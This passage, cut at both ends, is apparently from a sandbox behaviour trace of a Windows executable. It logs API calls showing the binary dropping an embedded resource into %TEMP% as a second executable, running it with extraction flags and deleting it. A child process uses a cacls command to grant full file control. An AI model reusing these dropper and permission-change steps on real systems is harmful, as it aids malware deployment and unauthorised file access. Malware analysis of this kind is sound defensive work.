¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0126.338] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0126.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿbÈ\x7fÐäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0126.338] GetLastError () returned 0x0 [0126.338] SetLastError (dwErrCode=0x0) [0126.338] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.338] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0126.338] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0126.338] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0126.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿbÈ\x7fÐäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0126.338] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x80) returned 0x579230 [0126.338] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0126.338] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0126.339] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x579230) returned 0x80 [0126.339] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0126.339] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0126.339] GetCurrentProcess () returned 0xffffffff [0126.339] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0126.339] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0126.339] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0126.339] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0126.339] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0126.339] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0126.339] LockResource (hResData=0x43c648) returned 0x43c648 [0126.339] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x579700 [0126.339] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0126.341] GetFileType (hFile=0x90) returned 0x1 [0126.341] WriteFile (in: hFile=0x90, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0126.346] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1000) returned 0x579720 [0126.346] WriteFile (in: hFile=0x90, lpBuffer=0x579720*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x579720*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0126.347] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x579720 | out: hHeap=0x560000) returned 1 [0126.347] CloseHandle (hObject=0x90) returned 1 [0126.347] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0126.347] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x94, hThread=0x90, dwProcessId=0xc04, dwThreadId=0x74c)) returned 1 [0126.509] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0127.242] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0127.244] CloseHandle (hObject=0x94) returned 1 [0127.244] CloseHandle (hObject=0x90) returned 1 [0127.245] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x560000) returned 1 [0127.245] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0127.245] ExitProcess (uExitCode=0x0) [0127.246] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5770a0 | out: hHeap=0x560000) returned 1 Process: id = "230" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x745bc000" os_pid = "0x8bc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "226" os_parent_pid = "0xfd8" cmd_line = "cacls \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 834 os_tid = 0xc0c Process: id = "231" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x751af000" os_pid = "0xc04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "229" os_parent_pid = "0xff4" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 835 os_tid = 0x74c [0126.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xeef5b300, dwHighDateTime=0x1d5d06a)) [0126.708] GetCurrentThreadId () returned 0x74c [0126.708] GetCurrentProcessId () returned 0xc04 [0126.708] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=26866007569) returned 1 [0126.709] GetProcessHeap () returned 0x2b0000 [0126.710] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0126.710] GetProcAddress (hModule=0x76f20000, lpProcName=0x1400212e0) returned 0x76f37190 [0126.710] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0126.710] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0126.710] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0126.710] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0126.710] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0126.711] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0126.712] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0126.712] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0126.712] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0126.712] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0126.712] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0126.712] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0126.712] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0126.712] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0126.712] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0126.712] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0126.712] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0126.712] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x478) returned 0x2cf060 [0126.713] GetCurrentThreadId () returned 0x74c [0126.713] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x28) returned 0x2c5ee0 [0126.713] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xb00) returned 0x2cf4e0 [0126.713] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x2cf060)) [0126.713] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0126.713] GetFileType (hFile=0x3) returned 0x2 [0126.848] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0126.848] GetFileType (hFile=0x7) returned 0x2 [0126.848] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0126.848] GetFileType (hFile=0xb) returned 0x2 [0126.849] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0126.849] GetEnvironmentStringsW () returned 0x2cfff0* [0126.849] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0xb38) returned 0x2d0b30 [0126.849] FreeEnvironmentStringsW (penv=0x2cfff0) returned 1 [0126.849] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0xb8) returned 0x2d1670 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x138) returned 0x2d1730 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3e) returned 0x2c62c0 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x6c) returned 0x2d1870 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x62) returned 0x2d18f0 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x78) returned 0x2d1960 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x62) returned 0x2d19e0 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2e) returned 0x2cddd0 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x48) returned 0x2c6310 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2a) returned 0x2cde10 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x28) returned 0x2c5f10 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1a) returned 0x2c5f40 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x4a) returned 0x2d1a50 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x72) returned 0x2d1ab0 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x30) returned 0x2cde50 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2e) returned 0x2cde90 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1c) returned 0x2c5f70 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xd2) returned 0x2d1b30 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x7c) returned 0x2d1c10 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3a) returned 0x2c6360 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x90) returned 0x2d1ca0 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x24) returned 0x2c5fa0 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x30) returned 0x2cded0 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x36) returned 0x2cdf10 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c) returned 0x2c63b0 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x52) returned 0x2d1d40 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c) returned 0x2c6400 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x18) returned 0x2d1da0 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x82) returned 0x2d1dc0 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2e) returned 0x2cdf50 [0126.850] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1e) returned 0x2c5fd0 [0126.851] RtlAllocateHeap 